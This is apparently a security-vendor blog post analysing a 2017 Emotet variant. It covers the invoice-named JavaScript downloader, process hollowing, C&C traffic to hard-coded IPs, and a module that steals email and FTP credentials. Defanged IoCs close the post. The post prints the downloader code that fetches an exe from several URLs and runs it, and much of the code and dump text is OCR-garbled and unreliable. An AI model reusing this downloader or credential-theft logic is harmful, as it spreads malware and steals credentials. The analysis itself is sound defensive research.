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Background

Last week, FortiGuard Labs captured a JS file that functions as a malware downloader to
spread a new variant of the Emotet Trojan. Its original file name is

Invoice 779 Apr___ 25 2017 ___lang _gb  GB779.js. A JS file, as you may be
aware, is a JavaScript file that can be executed by a Window Script Host (wscript.exe) simply
by double-clicking on it. In this blog we will analyze how this new malware works by walking
through it step by step in chronological order.

A JS file used to spread malware

The original JS code is obfuscated, and therefore hard to understand. Based on my analysis,
its task is to generate a new JS code into an array and execute it. The new code is easier to
understand, as you can see in the code snippet in Figure 1. As | mentioned, it's a
downloader tool that tries to download malware from five URLs onto the affected device.
Once one download is finished, the malware is saved to the system temporary folder as
‘random name.exe” and executed.
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function gethatalcallback)
{tryi{getDhataFromlirl ("ht T emberg.co. 2a/ TUnZs
{if [ ! error)ire callbackiresult, false): } else
{gethactaFromlE cop:/ meanconsulting., cowd K44975E ", function(re , Brrori
treturn callbackiresult, false): } else
rl({"http://microtecno.com/ 117281nfry3/ ", functioniresult,
riireturn callbackiresult, falsel: } else
rli{"http://chefake.com T96158yveEE/ ", function(result, err
return callback(result, false): : else
Crp://odoprojectgraduation. com/eaSz 1561204,
llbackiresult, false): } else

", function(result, error)

,

rror)
{if [ ! er
{getDhataFro
{if [ ! erro
{gethacaFraomir
{1if [ ! error)iret

T ion(result, erraor)

function getbhataFromUrliurl, callback)

{tryiwvar xmlHttp = new LotiveXobhject ("HMIXEML: . XMLHTTE™) 2

*xmlHctp.open ("EETY, url, false): =xmlHttp.send(): 1f (xmwlHctp.=scatus == 200)

{return callback(xwmlHctp.ResponseBody, false): : el=se

{return callbackinull, true); : } catch [(errar)

{return callbackinull, true): + 1}

function getTempFilePath()

{try{ war fs = new ActiveXlbiject ("Jcripting.Filel3vstemthisct™):

var tmpFileMame = "% " + Math.randomi) .toStringi(36) .substr (2, 9] +".exe™:

war timpFilePath = f=.Gec3pecialFolder (2] + tmpFileMNatne: return thwpFilePath; } catch (error)

{return false:  }

function saveToTemp (datz, callback)

{Lry

{war path = getTewpFilePath(l: if (path)

{war obj3tream = new LotCiveXZlhiject (TADODE.Ztream'™): obj3tream.Open(); objl3tream.Type = 1:
obj3cream.Write (data) ) obj3trestn.Position = 0; obj3tcream.S3aveToFile (path, Z2):
objStream.Claose () ; return callbacki(path, false); | el=e

{return callback(null, true)l;: } } catch [(error)

{return callbackinull, true): + 1}

getDhata (function(dats, error){if [ ! error)!
gaveToTewp (data, functioni(path, error){if| ! errar)
[trud

war wsh = new LotiveXlbject ("WEcript.Shell™)
wah.Runipath)

Figure 1. Snippet of the generated JS code

Running the downloaded exe file

While the downloaded exe file is executed, it moves itself to “%LocalAppData%\random
name\random name.exe” . A random name for the file is generated using local file names.
You can treat it as any random name, however, in my environment, the name is
‘LatnParams.exe”.

To protect itself, once LatnParams.exe is executed it extracts code from itself, inserts it into a
newly-created LatnParams.exe by calling the CreateProcessW function with a
CREATE_SUSPENDED flag, and then restores the second process to run. Once that is
complete, the first process exits. Later, the LatnParams.exe’s Ink file is created inside the
Startup folder in the system Start Menu so it can automatically run whenever the system
starts. See Figure 2.
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Figure 2. Malware in Startup folder

The main function of the second process

Next, we’ll look to see how the code works inside the second process that is created. There
is a hidden window created for the second process. Its WindowProc function is to handle all
windows messages for the window. This malware uses a WM_TIMER message to initiate it.
Calling the SetTimer function can generate such a message.

Once this window is created, a WM_CREATE message is sent to the WindowProc function,
where it calls the SetTimer function to keep the system posting WM_TIMER messages every
200ms and then callback the window’s WindowProc function.
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function gethatalcallback)
{tryi{getDhataFromlirl ("ht T emberg.co. 2a/ TUnZs
{if [ ! error)ire callbackiresult, false): } else
{gethactaFromlE cop:/ meanconsulting., cowd K44975E ", function(re
{1if [ ! erroypfireturn callbackiresult, false): : els=e

{gethataFrofilrl ("http://microtecno . com/ 117281nfry3/ ", functioniresult,
{if [ ! ermpriireturn callback(result, false): } else

{gethataFromllrl ("http://thefake . com/¥9a158yveXR/ ", functioniresult, err

", function(result, error)

, BEror)

rror)

{if [ ! erro return callback(result, false): : else

{gethataFromlr Crp://odoprojectgraduation. comfeaSz 1561204, £ ion(result, error]
{1if [ ! error)iret llbackiresult, false): } else

[enuann ]

function getbhataFromUrliurl, callback)

{tryiwvar xmlHttp = new LotiveXobhject ("HMIXEML: . XMLHTTE™) 2

*xmlHctp.open ("EETY, url, false): =xmlHttp.send(): 1f (xmwlHctp.=scatus == 200)
{return callback(xwmlHctp.ResponseBody, false): : el=se

{return callbackinull, true); : } catch [(errar)

{return callbackinull, true): + 1}

function getTempFilePath()

{try{ war fs = new ActiveXlbiject ("Jcripting.Filel3vstemthisct™):

var tmpFileMame = "% " + Math.randomi) .toStringi(36) .substr (2, 9] +".exe™:

war timpFilePath = f=.Gec3pecialFolder (2] + tmpFileMNatne: return thwpFilePath; } catch (error)

{return false; }

function saveToTemp (datz, callback)

{Lry

{war path = getTewpFilePath(l: if (path)

{war obj3tream = new LotCiveXZlhiject (TADODE.Ztream'™): obj3tream.Open(); objl3tream.Type = 1:
obj3cream.Write (data) ) obj3trestn.Position = 0; obj3tcream.S3aveToFile (path, Z2):
objStream.Claose () ; return callbacki(path, false); | el=e

{return callback(null, true)l;: } } catch [(error)

{return callbackinull, true): + 1}

getDhata (function(dats, error){if [ ! error)!
gaveToTewp (data, functioni(path, error){if| ! errar)
[trud

war wsh = new LotiveXlbject ("WEcript.Shell™)
wah.Runipath)

Figure 3. Call SetTimer Function

Next, we will examine this WindowProc function. Figure 4 is the structure of this function in
pseudo code.
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int _ stdcall WindowProc{int a1, int a2, int a3, int au)
{

[iliiii]

case 6:

sub_483A28(); /f Collect victim system's information and encrypt.
ul?y = uia();

dword_4185DB = 7;
dword 185E@ = ui7 + 2288;
break;

case 7:

if  tsub_4@3AEB({) ) // Communicate with C&C server.
goto LABEL_23;
dword_4185D6 8;
dword_4185EQ vy + 2288;
break;
case 8:
if ( sub_%83B38{) )} // Decrypt the reply data from C&C server.
1
u2e = va(l;

dwvord_ 418508 = 9;
dword M185EB8 = v20 + 22088;
H
elce
{
LABEL 23:

vl = dword L18SEE8 + 1;
if { *CnC_Server IP[2 * {dword 4185E8 + 1)] )}// Get hard-coded C&C server IP{s)
vig = B;

dword 4185ES
ul9 = u6G();
dword 418508
dword_4185E8
H
break;

case 9:
sub_4B83BAB(); /7 Parse decrypted data from C&C server.
vzl = wia);
dword_4185D8 = 6;
dword W185EBG = v21 + 900060;
break;

vig;

[
u19 + 38000;

[iiiili]

b

Figure 4. WindowProc Function

Case 6 Code Branch

In the case 6 code branch, the malware collects system information from the affected device,
including computer name, country name, the names of all running programs, and content
about whether or not MS Office Outlook is installed. It then puts all the collected data
together into a memory buffer and encrypts it. Figure 5 shows the data ready for encryption.

5/15



OOEZ4925 108 10 12 A& 03 DA 14 41

12, SADNIN-PC
00634938\ 55 b3 BF 38|31 39 44 39 5 8l 9D9EET T,

O0eE4948 |14 F8 02 5B 53 79 73 74 ! ovstem Praoce
OOEZ4958| T3 73 8D 2053 79 73 74 s3], System, smas.
O0EZ4968E |65 T8 Bh 20 63 Ta T2 Ta exe, ¢cSTSs. exe, Wi
DOEZ4975|6E BC BF BT 6F 6E ZE 65 nl ogon. exe, wind

OOBZ4955 69 T4 ZE 65 T8 &b 2T T3 it. exe, services.
OOBZ4955 65 T8 &b 20 BC T3 61 T3
Ooezd4uss 6D ZE &b TE Bh 20 T3 TE
OOBZ40EE | 65 20 73 TO BF 6F &C T3
Ooez49csE | Te 61 6E T9 ZE &b TE 65
O0EZ4905 | 63 65 ZE 65 T8 &b AT B3
OOBZ49EE | T8 65 2C T3 70 70 T3 76
OOEZ49FE | T0 6E 65 T4 77 6B ZE 65
OOEZ4ADE | 68 49 6E 64 65 T8 6h T2
OOEZ4A1E BB 68 B6F T3 T4 ZE 65 T8
OOBZ4AZE | B 20 6L T8 TO &C B&F T2
OOEZ4AZE 6D 64 ZE 65 T8 &b 4T T4
OO0BZ4A45 | T8 65 2C T2 65 6T 6b 64
OOEZ4ARE B T8 TO 6C BF T2 65 ZE
OOBZAAEE|TO B1 64 ZE B5 T8 6b ZC
DOBZAATE | Bh T8 &b 20 4C 61 T4 BE
OOBZ4AEE | TE B6b 2C 4F 6C 6C T9 44
OOBZ4ADE 65 Bl T2 63 68 50 TZ BF
Ooezdsss | T4 ZE 6 TE 65 20 B3 Bh
OOBZ4ARE | 65 T2 48 6F T3 T4 ZE 65
OOBZ4ACE | T2 BF T3 BF 66 T4 20 4F ..
O0E34ADE|FE Ch DB FAFB D9 00 00 EB 25 63 00 00 19 &3 00| pafEEm. . Yo . ko, |

Figure 5. Collected data from the victim’s system

As you can see, the first part is the computer name. Following “16 00 01 00” is the CPU
information. The next part is the running process names, followed by the string “Microsoft
Outlook,” which means that MS Office Outlook is installed on this machine. You may also
notice that the debugger name “OllyDBG.exe” is also in the process name list. Through my
analysis | found that the C&C server checks the process names. If it learns that a debugging-
related tool (such as OllyDbg, WinDbg, IDA Pro, etc.) is being running on the victim’s
machine, a different response is returned. In this case, it replies with a new version of itself,
causing itself to upgrade again and again until those tools exit.

After encryption, it copies the encrypted data, the encryption key, and the hash value
together into a new buffer. It then sets the next case number to 7 and exits the case 6
branch.

Case 7 Code Branch

In the case 7 code branch the main function is to connect to the C&C server and send
collected data to the server. It also receives data from the C&C server. We’'ll take a look at
how it works here.
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The C&C server’s IP and port are hard-coded. In this version there are eleven, as shown

below:

It gets the data generated in the case 6 branch and encodes it using base64. It then sends
the base64-encoded data as a Cookie value to the C&C server. Figure 6 shows the data in

Wireshark.

004175D0

004175D0

004175D0

004175D4

004175D8

004175DC

004175E0

004175E4

004175E8

004175EC

004175F0

004175F4

004175F8

004175FC

00417600

00417604

00417608

0041760C

00417610

00417614

00417618

0041761C

00417620

00417624

dd

dd

dd

dd

dd

dd

dd

dd

dd

dd

dd

dd

dd

dd

dd

dd

dd

dd

dd

dd

dd

dd

0D453A62Dh

1F90h

OADE68843h

1BBh

OADEODA19h

1BBh

68E38922h

1BA8h

894AFE40h

1F90h

OBCA5DCD6h

1F90h

558FDDB4h

1BA8h

77521BF6h

1F90h

0C258F607h

1F90h

OCED6DC4Fh

1F90h

68ECO2FDh

1BBh

; DATA XREF: WindowProc+257r
; Sub_403AE0+Co
;212.83.166.45
; 8080
;173.230.136.67
;443
;173.224.218.25
;443
:104.227.137.34
; 7080
;137.74.254.64
; 8080
;188.165.220.214
;8080
;85.143.221.180
;7080
:119.82.27.246
;8080
;194.88.246.7

; 8080
;206.214.220.79
;8080
;104.236.2.253

;443
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M Wireshark . Follow TCP Stream (tcp.stream eq 0) - 404error — O *

GET / HTTP/1.1 &
Cookie: 885=V+v]9QCLNCdvsbodg3al B A R

+4Iwll6hrcB38eGBiG1KaeyTs 1?+5CoRlSEUEPZsSclHcZFxBF?HsFB)(Ebmr'Au511eFo3n3udP1yn ApwNO7GNGGUL/Bhon+qb/
ivWvdeKqmm7UOwaeEe37pEYwef1AGI zkhryhQASZzMusY / /MEZBwXmkgQpk 7LUGYKSTx+u3qCaDeUlZDnVQe0opH2SGLDED
+BgRpluxAlkjML9IKuATFri0xy51Fmp3sKaXuet28cVkDYVo06uzB6z3eFLG2Hy S/ POAMBCINPBYGNpYy Teya/
ZAJ25gU0TWvE BAOmBQ]HucPxny'fw-l—s?zW:’lepCIzPA@b/CFVme‘t)(bAﬂpr‘ar‘w:|ﬁs+)(sﬁlA2c?HJaw
+5aQGBudyHQrkux gsuk?ZnoirfYEW+r7Ggh/
z56WIdIXNNEXWS@IXelzL P rROLAomlaubxtoKVdKEIE9GrBzNk@IQa12dI3Vio5jok3cVL Inak
1LjLIceqnglLt

User-Agent: Mozilla/5.8 (compatible; MSIE B.@; Windows NT 5.1; SLCC1; .NET CLR 1.1.4322)
Host: 85.143.221.186:7858

Connection: Keep-Alive

Cache-Control: no-cache

BT Y xGasYeEb2dqyvdra/PAM/

HTTP/1.1 484 Not Found

Server: nginx

Date: Wed, 26 Apr 2017 18:47:12 GMT
Content-Type: text/html; charset=UTF-8
Content-Length: 178324

Connection: keep-alive

S - |
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$,,..D{Y0..,.h|,,.'P[....bLl.c,.'InI...-' ¥-- { A . fuHN. . Pd.da.......... x.-im..

B—.J....mla.M....~..ph. ... ..r.c..&.._._B..i.. :I)(L weaB.S..WZlLY....d. .. "JEFY.=..0.2. . JROPEH.ifV. ... .F..

TR R J,>| AT TR d. &,, LV e S...m#5. ... ] DB [T - O W.r..

B R | SR I L I e e N 5y P o o R e ((oze®B000000050

Tt ME2.b.. MEY.A-....5..%..... 7S - TS 1 D T=EH. .[q/.j.%.

Y, Rt J s ok = PR vy coocooclo-olfdfiooas g..
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shD #n 4 VL TRL. 7 X N.,.T <. wah. 6 X 6Y.Ad 3 =..1 v

1 chiene pktfs) 123 sarver plegfs) 1 curm.

Entire conversation {179 kB) hd Show data as | ASCIT hd Stream

Find: | [ Find next |
Hide this stream Print Save as... Close Help

Figure 6. Send collected system information to C&C server

In Figure 6, the status of the response from C&C server is “404 Not Found.” This message is
used is to confuse analysts. The body, however, is the encrypted data. After receiving all
data from the server, it sets the next case number to 8 and exits this branch.

Case 8 Code Branch

The only thing done in the case 8 branch is decrypt the data received in case 7. It then exits
this branch and sets the next case number to 9.

Case 9 Code Branch

The case 9 branch is used to process the data decrypted in case 8. Figure 7 is a part of the
pseudo code of case 9.
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switch ( ug )
{

case 1u:

case 2u:
sub_483568{v9, viB); s/ upgrade itself.
brealk;

case 3Ju:
sub_ 483668(v?, (unsigned int)u1@ >> 1);// to download a file and execute it.
brealk;

case hu:
u% = sub_4H19BB{vY, uild);
if { vs )

CreateThread{8, 8, Thread fun, v5, B, 8);// load modules in thread functions.

break;

case Su:
sub_4B82658();
sub_4B26F8();
brealk;

default:
continue;

Figure 7. Pseudo code of case 9

There are some sub-cases in the case 9 branch. The case number “v8” comes from
decrypted data. Following are two examples of the decrypted data.

In Figure 8, “08 01” is about a sub-case. “08” is a kind of flag or C&C command, and “01”
refers to sub-case number 1. As you may know, the following data is an .exe file. In the sub-
case 1 branch, this file is executed to upgrade the Emotet malware. Usually, it receives an
upgrade command because the C&C server has detected that there is debugging-related
tool in the running program names. It's a way to both protect itself against debugging and
confuse analysts. In sub-case 1 branch, it saves the .exe file into a system temporary folder
and runs it by calling the ShellExecuteW function. Meanwhile, the parent process exits to
finish the upgrade.
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* OlyICE - - [*C.P.U* - main thread]

@ File View DEEILI$ Plugins Options  Window  Help

e | OSIMOR|0] s ]0E] ] ] w e w S]]
00418504 BT EC mov bh, OEC

00418500  H4bF 24 test byte ptr [edi+Za], bl
O04185DF | &D ins dword ptr es:[edi], dx
N04185E0(  HTBEO DOOREOOO0 | xchg dword ptr [eax+8D0], esi
N04185E6 | 0000 add byvte ptr [eax]. al
QO4185EsE | 0000 add byte ptr [eax], al
N04185EA| Q000 add byte ptr [eax]. al
004185EC| AR BF test al, 0OBF

004185ERE| 64 00 rush 0

00418RF0| 1294 02000000 |adc bl, byvte ptr [ed=+2]
004185F6 (0000 add byte ptr [eax]. al
O04185FE| 0000 add byvte ptr [eax]. al
004185FA| 0000 add byte ptr [eax]. al
Oo4185FC 16 push ==

A1 SEET faTatah| A4 Toocte cocten [Lovenl) 1

DOGABFAS
DOBABFBS
DOBABFCE
DOGABFDE
D0OBABFES
DOGABFFE
D0BACO0E
D0BACOLE
DOBACOZE
DOGACOEE
DOBACO4E
QOGACOLE
DOBACOES
DOBACOTE
DOGACOES
D0BACNSE
DOBACOAS
D0BACOBS
DOGACOCE

ITAT S L

0
0
0
E
0
o
5
1
2 22 BU A9 EZ
2
2
2
8
0
0
0
0

SC C4 SA B2 30 BC

T 0 Iemzs
R

H 999L9This
program camnot b
e run in D05 mod

aé” 9:’{” FEREMY
Q%ﬁewﬁﬁlﬁ‘?‘

BOEE i

1 M2 M2 M

| Start: BACOCO End: BACOCD Y alue: 100000

Figure 8. Sub-case 1 example
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f?!_k OIWICE - - [*C.P.U* - main thread]
@File View Debug Plugins Opticns  Window Help

Paused | [W|faq]loe] V] wifea] ] ] o] T M) )] i ) ) O ) B R ST B

BA ECERAION mov edx, d18LEC
O0403BAR B3 push ebx
A NSE AR L ol =2

ebx=01530500

03030020|04 9B BC 2C 86 E0 05 DB 04] 12 80 E0 05 4D 5A 90.#?;”%TEJI€3?ME? -
0303003000 03 00 00 00 04 00 00 00 FF FF 00 00 B& 00 00|, L. 4. . - -,
0303004000 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00). . ... o
003005000 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00, .. .o ...
003006000 00 00 00 00 00 00 00 00 E0 00 00 00 OE 1F BA|......... 7. 12
03030070/ 0E 00 B4 0% CD 21 BR 01 4C CD 21 54 68 69 73 20| A 299L%This
0303002070 72 6F 67 72 61 6D 20 63 61 6E 6E 6F T4 20 62| program cannot b
0303009065 20 72 75 6E 20 69 6E 20 44 4F 53 20 6D 6F 64| run in DOS mod
0303004065 ZE 0D OD|0A 24
030300B0(ES 3B 17 AO|BB 3B
030300C0(BB 11 17 AO|BB 36
030300D0 (BB 4E 17 AO|BB E&
030300E0(BB 32 17 AO|BB 3B
OZ0300F0 BB 23 17 A0 BB 46
03030100658 3B 17 A0 BB 00
0303011000 4C 01 04 00 71
0303012000 EO 00 02|21 0B
0303013000 00 00 00 00 2F
0303014000 00 00 00 10 00
0303015000 00 00 00 00 0%
0303016000 00 04 00 00 00
003017000 00 10 00 00 00
0303012000 10 00 00 00 00
003019000 50 00 00 00 00
OZ030TA0 00 00 00 00 00 00
OZ0301B0 00 04 11 00 00 00
00301000 00 00 00 00 00
003010000 00 00 00 00 AD
OZ0Z0LED 00 00 00 00 00 00
OZ030LF0 00 00 00 00 00 00
003020000 00 00 00 00 2E

DR T T T e O T A T M T

Figure 9. Sub-case 4 example

I manually modified the “OllyDBG.exe” to another program name before encryption (refer
back to Figure 5). Then | was able to get the response shown in Figure 9. The flag changes
to “08 04, where “04” means sub-case number 4. In my analysis, it contains 3 modules (.dll
files) in the decrypted data. The flags for all of them are “08 04”. Which means the modules
are all processed in the sub-case 4 branch. As you can see in Figure 7, the sub-case 4 calls
the CreateThread function to create threads and run the modules in the ThreadFunction, with
one thread for one module.

11/15



So far, we have only finished the analysis of one of the three Emotet modules. We are still
working on analyzing the others, and will share that analysis in another blog.

So next, let’s take a look at what this module is able to do.

The module loaded in a thread

Based on my analysis, this module steals credential information from a victim’s machine. It
then encrypts that stolen data and sends it to the C&C server.

When this module is loaded in the ThreadFunction, it inserts the code extracted from itself
into a newly-created LathParams.exe process to run. The newly-created process has a
command line parameter like “%temp%\A98b.tmp”. This is a temporary file used to save the
stolen credential information.

It is able to steal credentials for Google accounts, FTP accounts saved in IE, Google Talk,
Office Outlook, IncrediMail, Group Mail, MSN Messenger, Mozilla Thunderbird, and many
others. The following screenshot shows some of them.

IDA Vie... [E) IDA Vie... [ Stringswin... [0 [2] Hex vie. [ stuct.. [0 [Elen. [ mp.. [ e [
seqAdf:aau13871 align 4 ~
seqdAf: 00413874 aSoftwareMicros db ‘SoftwareyMicrosoftiInternet Account Managersficcounts®,@
seqO0BB8:88413874 ; DATA XREF: sub_4B82C1E+9FTo

seqBB@:ea41387L ; sub_L403C17+C0io

seqAdf:aaL138A9 align 4

seqO0d8:804138AC as3 db “%s\%s',0 ; DATA XREF: sub_482C1E+6270

seqAd6:aa413862 align 4

seqddf: 00413884 aSoftwareMicr_@ db ‘SoftwareyMicrosoft\0ffice\0utlooky0OMI Account Manager\nccuunts a8
seq0B0B8:884138B4 ; DATA XREF: sub_482C1E:loc_4B2CFBTo
seqddd:e04138B. ; sub_LO3C17+ESTo

seqAd6:aB4138F3 align 4

seqddf:004138F4 aDisplayname db ‘DisplayName’ @ ; DATA XREF: sub_LB2D74+5970

seqBBf: 868413900 aEmailaddress db ‘EmailAddress’,8 : DATA XREF: sub_482D074+8610

seqBd@:e0e413906D align 18h

seqBdf:oo413916 aPopaccount db ‘PopAccount®,B : DATA XREF: sub_482D74+9CT0

seqiaB:00413910 ; sub_u@3127+18870

ceqAdBd:eou1391E align 4

seqdaf:ee41391C aPopserver db ‘PopServer',B ; DATA XREF: sub_482D74+B270

seq@@B:eau1391cC : sub_403127+6210

seqBAaBe:ee413926 align 4

seqB@B@:80413928 aPopport db ‘PopPort® .8 : DATA XREF: sub_482D74+C5i0

seqdaf:e6e413930 aPoplogsecure db ‘PopLogSecure”,B ; DATA XREF: sub_482D74+D6To

seqB@d:ee41393D align 18h

Seqaif:eou13940 aPoppassword db ‘PopPassuword®,B > DATA XREF: Suh_Hﬂ2D?h+F1TD

seqBaf:ees1394C aSmtpaccount db *SHTPAccount®,B ; DATA XREF: sub_402D74+13670
seqBif:aoL13958 aSmtpserver db 'SHTPServer',B ; DATA XREF: sub_482D74+14CTo
seqBgd:ea413958 ; sub_L4033B1+3Cio
seqAdB:aaL13963 align 4

seqBof: 88413964 asSmtpport db *SHTPPort®,8 ; DATA XREF: sub_482D74+16270
seqAd6:aau1396D align 16h

seqBdi:e0e413970 aSmtplogsecure db "SHTPLogSecure’,8 ; DATA XREF: sub_402D74+17670
seqAd6:aau1397E align 16h
seqBdf:oa413980 aSmtppassword db *SHTPPassword® ,8 ; DATA XREF: sub_402D74+19170

00013928 00413928: segl0l:aPopport (Synchronized with Hex View-1)
< >

Figure 10. Targeted email-related credentials
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For testing purposes, | added a test account into MS Office Outlook to see how it works. Th
account profile is shown here in Figure 11:

e

- hail =
E-mail |Data Files I RS5 Feeds I SharePoint Lists I Internet Calendars I Published Calendars | Address Bu:u:uks| to
1 Change Account @
| Internet E-mail Settings
§ Each of these settings are required to get your e-mail account working,
User Information Test Account Settings
Your Mame: just_test After filing out the information on this screen, we
= recommend you test your account by dicking the button
E-mail Address: testl testi@gmail.com below. (Requires netwark connection)
Server Information
— [ Test Account Settings ... ]
Account Type: POP3
5o

e pop.gmail.com [ Test Account Settings by dicking the Mext button

]

Outgoing mail server (SMTP): | emip, gmail.com

Logon Information

User Mame: testil

Password: | s
| Remember password

Require logon using Secure Password Authentication (SPA

0/] D E - - (5PA) Maore Settings ...
0
]
0 < Back Mext = Cancel
0
':'r 101 Hl | LILI L% | H | LILT L% | H - | LILIL 4T 5 LIT el b il | b vl | 1 LUttt sH = UL LILIL LI L]

Figure 11. Test account added into Outlook

The stolen credential data is saved in the temporary file specified in the command line
parameter, where it will be encrypted and sent to the C&C server in the ThreadFunction. In
the following several figures you can see the stolen credential information in the temporary
file, the data in memory before encryption, and the data sent to the C&C server.

| A98B.tmp - Notepad - O >

Eile Edit Format giM \

just_test,MS #utlook
2082/2003 /2807 /2018, test]l_testl@gmail.com,pop.gmail.com, ,No,POP3,testll, "}
,S5trong, s .gmail.com,

password*"”,Outlook
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Figure 12. Stolen credential

Paused | (9| wv] mafea] befn] ] s el il o) (R BRI G S]] =] )

BA 24 push 24 CryptEncrypt
TA49DE364A| 68 ER1E8ET4 rush TA9E1868
T49DE3EF|  E& CO3E0000 call T49DE940
A8 A3

R L | T L =Ll T

B D324FB6d

0324F268| 0O
D32dF86eC| O
D32dFET0| 0O
D32dFET4| 0O
D324F8TE| 0O
D324F8TC| 0F
0324F8801 0OC
0324F284| 00
D32dFEEE| 0O
D32dFEEC| 0O
D32dF8a0| o

OOEBEREC| 08 12 14 A3 01 04 14 41 44 4D 49 4F 2D &0 43
O0EBELSC| 55 53 BF 3831 39 44 39 36 45 37 12 BA 01 B4
OOEBERACT| Y3 Y4 BF T4 Bh T3 T4 20 4D 53 Z0 4F 75 T4 &C
DOEBEREC| BF BB Z0 34 30 30 32 JF 32 30 30 35 ZF 32 50
OOEsRRCC| 3T ZF 34 30031 30 20 74 65 T3 T4 31 BF T4 6%
OoesbRDC| T4 31 40 BT BD 61 69 &0 ZE 63 BF BD 20 7O BF
OOEBRREC| ZE BT BD B1 B9 BC ZE 63 6F 6D 2C 20 4E 6F 2C
OOEBLLEFC|4F B0 35 20 74 65 T3 74 31 31 20 22 2A 70 61
OOEBSE0C| T3 YT BF T2 64 24 22 2C 4F 75 74 60 6F BF 6B 2
OOEBRELC| 53 Y4 Td 6F BE BY 2C V3 6D T4 70 ZE 67 6D 61
DOEBREZT| 60 ZE B3 BF 6D 2C 0D 0A 30 56 66 00 00 00 00 00
DOEBREZC| 00 00 00 00 52 OF DB 5F E4 D9 00 00 EO 19 69 00,3

T/2010, testl _tes
t1®@zmall. com, pop
.gmail. com, , Mo, P
0OP3, testll, "*pas
sword+”, Dutlook,

trong, smtp. gmal

.. OVE. ...
B, . 71

O0GE5EAC[ 80 4A 66 00 50 56 66 00 50 56 66 00 6C 55 66 00 U£] 0324F394| 0O(
OOEESESC| 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00|, .. ... ;e ..., 0324F898| 0(
OOEELEEC |14 05 00 00 54 C3 D1 54/C4 D9 00 08 18 84 65 00| 49|, . TBETIE. Q151. 0324F89C| O
NOBESETC|58 4D 66 00 0D 00 00 00 CO DO EO FO 82 D9 D3 OF|XML..... Eaf 9 0324F240| 0F
00BESEEC|00 00 00 88 65 15 13 D9 DD E1 9F 4C AT 28 95 19|... 3049099 0324F34d| 0OC
O0RBEASC| 99 C2 AD BE Fd 02 00 00 01 00 01 00 35 00 00 00|48 -2.. . .5..0 [ |oszdrzas| 7e
ODEESEAC| 00 34 66 00 FF FF FF FF 00 00 00 00 00 00 00 00|.4f. « « « «....0  |032dF8AC| of

Figure 13. Before encryption

3% OllyICE - - [*C.P.U" - thread 00000BSC, module ws2_32] = S
EFiIe View Debug Plugins Options  Window Help |T||E||—>

Paused | [ e] 0] e R e E] ] o] ] ] v o ] o o R 5 T = 2]
Rezisters (FPI)

3BFF mov edi, edi send
SFCC4CA|  5b push ebp EDY 00000000

edi=006779E0 EBX 00000373

00BC3BFO|47 45 54 20| 2F 20 48 54|64 50 2F 31|2E 31 0D 0&|GET / HITP/1.1.. « ML 76391037 [rCALL to send from wininet -
00BC3C00|43 6F BF 6B|69 65 34 20|43 30 32 46 3D 69 4C 57|Cockie: COZF=iLW 0324F630| 00000378|| Socket = 378

00BC3C10| 73 ydlegBw]pEbnul zHS 0324F634| 006C3BFO|| Data = O0BC3EFO

00BC3CE0| 44 DHhBWornTCREFMSC 0324F638| 0000024C|| DataSize = 24C (588.)
00BC3C30| 4F 5166010166 0324F63C| 00000000|LFlags = 0

00BC3C40| 76 0324Fedo] 00000000
006C3C50| 32 0324F644| 00BSFE00
00BC3CE0| 64 0324Fedi| 0063B9DE
00BC3CTO| 46 0324Fe4C| 0324F638
00BC3CE0( 49 0324Fe50] 00000000
00BC3C90|4C 0324F6h4| 0324FFL0
006C3CAD| 4T 3 0324F658 | r0324F674
0324FERC|| 76386593 |RETURN to wininet. TE326593
0324F660 (] 00841758
0324F664 || D085TCBO
0324F668 || 0324F674
EIiJfnaudD/90Him 0324F66C || T6391C60|RETURN to wininet. T6391CE0
6f9]oTaP TAETETe 0324FET0]] 00000000
DESZXMIF txZnkA 0324F674| “0324FEB4
110310z z] sl a0E¥ET 0324F6TE || 76388607 |RETURN to wininet. TE388607
0324FETC|] D0BEFE00
0324F630 (] 00641758
0324Fes4 |l 00000000
0324F638 |1 80000000 | 4
0324FesC || 00000000
+1bdtfsIEpQ/ KOm 0324F 6901 00000000
Tvh==..User-Azen 0324F694 || 00BALTHE

»

1

LZykbndanF 200 0p
GUTk jqC9va¥sisp
1fOTZ9Bxh0 /50T sy
Ler M DW £5vallHARS
ol Hz06dp 381 vpabl
WGLob JOrEYBUAELP

00BC3CEO| 31 §
00BC3CC0| 6B
00BC3CD0| 6F
006C3CED| 4E E
00BC3CFO| 45
006CED00| 36
006C3D10( 30
006C3D20] 31
00eC3D30|69
006C3040( 74
006C3D50| 2B
006C3D60| 37
006C3DT0| 44
006C3DE0| 2B
006C3D90| 37

00BC3DA0| T4 t: Mozilla/B. 0 ( 0324F698 |1 00000000
00BCEDBO| 63 compatible; NEIE 0324Fe8C || 00CCo00C
006C3DC0| 20 8. 0; Windows NT 0324FeA0|] 00BALTHE
006C3DD0| 20 5.1, SLCC1; .NE [ U324F6A4 | OBSCO304
00BC3DED| 54 T CLR 1.1.4322). — | 0324F6AS || 091EBT19
00BC3DF0| DA CHost: 1150 28.0. 0324FBAC | 00000001
O0BCEEND| 31 193:443. . Connect _| 0324F6B0 || BBD04526 o
AnerERT Al aa g oo (P RO AZTARERA | TARPARACT
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Figure 14. Data sent to the C&C server

Solution

The original JS file has been detected as JS/INemucod.F436!tr and the downloaded Emotet
exe has been detected as W32/GenKryptik. ADJR!tr by the FortiGuard Antivirus service.

loC

URL.:

"hxxp://willemberg.co.za/TwnZ36149pKUsr/"
"hxxp://meanconsulting.com/K44975X/"
"hxxp://microtecno.com/i17281nfryG/"
"hxxp://thefake.com/Y96158yeXR/"

"hxxp://cdoprojectgraduation.com/eaSz156120/"

Sample SHA256:

Invoice 779  Apr__ 25 2017 __lang__ _gb_ GB779.s

B392E93A5753601DB564E6F2DC6A945AAC3861BC31E2C1ESE7F3CD4ESBB150A4
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